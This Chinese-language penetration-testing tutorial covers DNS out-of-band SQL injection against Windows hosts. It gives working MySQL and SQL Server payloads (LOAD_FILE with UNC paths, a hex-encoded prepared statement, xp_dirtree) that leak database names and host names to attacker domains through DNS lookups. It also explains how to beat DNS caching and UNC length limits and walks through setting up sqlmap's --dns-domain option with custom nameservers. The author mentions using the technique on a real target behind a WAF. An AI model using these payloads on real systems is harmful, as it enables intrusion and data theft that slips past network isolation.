0x00 起因
實際案子的時候遇到了一個注入,過狗可以使用sqlmap,但是是基於時間的注入和限制頻率需要使用--delay參數,本來就是延時再加上--delay等的心力憔悴。所有有了下面介紹使用sqlmap利用DNS進行oob(out of band)注入,快速出數據。一般情況下僅適用於windows平台
0x01 場景
你有沒有遇到這樣類似的注入場景。
1、時間盲注,數據庫、表及字段內容特別多,等到花兒也謝了。
2、mysql5.6+只能使用mysqli或pdo連接方式,多推薦使用pdo連接。使用pdo連接方式,可以執行多語句,但是PDO只會返回第一條SQL語句的執行結果,所以一般不能直接拿到數據,被迫通過update某個可見字段或者sleep注入
3、遇到waf攔截,含有特定內容的返回包接受不到,明明測試沒有攔截過濾,感覺執行成功了,卻沒有接收到返回數據(能執行命令的時候也可以向web目錄寫文件)
0x02 原理
使用unc路徑,會對指定的域名進行dns查詢,使用dns信道,配合dns服務器收到的數據可快速得到數據內容。
使用dns有一定的好處,可以突破主機網絡隔離,例如dmz主機不能直接連外網,但是配置的網絡可達的dns服務器往往可以,通過查詢域名遞歸的方式,dns服務器可以將返回數據通過dns協議帶出去。unc路徑是windows下的特性,默認安裝的linux下不存在這樣的功能。
流程圖如下:
mysql使用pdo鏈接數據庫盲注判斷是否成功的測試語句(普通的注入也可以參考)
SELECT LOAD_FILE(CONCAT('//',(SELECT 2333),'.mysql.panokaz.exeye.io/abc')); select hex("SELECT LOAD_FILE(CONCAT('//',(SELECT 2333),'.mysql.panokaz.exeye.io/abc'));") set @x=0x53454C454354204C4F41445F46494C4528434F4E43415428272F2F272C2853454C45435420277465737427292C272E6D7973716C2E70616E6F6B617A2E65786579652E696F2F6162632729293B;prepare a from @x;execute a;
mysql的使用場景:
之前抓到國內dns遞歸的上層dns服務器有360、tencent、ali的,如果我有一個這樣的節點dns服務器,肯定可以收獲很多羞羞的網站,想想還有點小激動呢≥▽≤sqlserver可以使用以下方式
declare @s varchar(5000),@host varchar(5000) set @s=(host_name()) set @host=CONVERT(varchar(5000),@s)+'sqlserver.panokaz.exeye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"')
sqlserver的使用場景:
0x03 手工測試遇到的問題及解決方案
- 因為存在
dns緩存,請求過一次域名后,會在本機產生dns記錄,不會向外遞歸查詢,所以unc路徑中DNS域名不能相同 unc路徑長度不能過長,通過sqlserver報錯顯示以 '\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' 開頭的 標識符 太長。最大長度為 128。
可知unc路徑最大長度為128unc路徑中不能含有空格等特殊字符,包含的話不會發送dns請求
以sqlserver的注入為例,參考sqlmap給出的方案解決
'; DECLARE @host varchar(1024); SELECT @host='rMy.'+(SELECT TOP 1 master.dbo.fn_varbintohexstr(CAST(SUBSTRING((ISNULL(CAST(name AS NVARCHAR(4000)),' ')),1,13) AS VARBINARY(8000))) FROM master..sysdatabases WHERE name NOT IN (SELECT TOP 4 name FROM master..sysdatabases ORDER BY name) ORDER BY name)+'.Nrz.rainism.cc'; EXEC('master..xp_dirtree "\\'+@host+'\cCkc"')--
- 通過在域名中添加隨機字符串
'rMy','Nrz'確保每次查詢dns不存在緩存 - 通過使用
substring()函數每次傳輸特定位數的數據 - 通過使用
master.dbo.fn_varbintohexstr()存儲過程對獲得數據進行16禁止編碼
0x04 使用sqlmap的dns-domain參數進行oob注入
這么方便快捷的注入方式怎么會沒有自動化的工具,仔細看過sqlmap文檔的同學肯定知道--dns-domain的參數,這就是sqlmap集成的利用dns進行oob注入的方法
使用方法:sqlmap使用--dns-domain參數時候會監聽53端口,我們需要把我們獲得數據所使用的域名的dns服務器配置到我們運行sqlmap的主機,就可以獲得dns外帶的數據。
因為配置dns服務器的時候也需要dns,所以我們需要兩個域名,詳細配置如下:
配置我們的用於解析dns的nameserver的域名ns1.xxx.com,ns2.xxx.com指向我們運行sqlmap的主機ip,這里我使用*通配符配置A記錄
配置我們用於外帶數據的域名rainism.cc的域名服務器為ns1.xxx.com和ns2.xxx.com
我們在外網的vps上執行如下命令sqlmap.py -u 'http://xxoo.com/index.php?id=1*' --random-agent --dns-domain='rainism.cc' -v 3
可以看到sqlmap執行的語句和返回的數據

使用tcpdump監聽53端口,可以看到回傳的數據內容

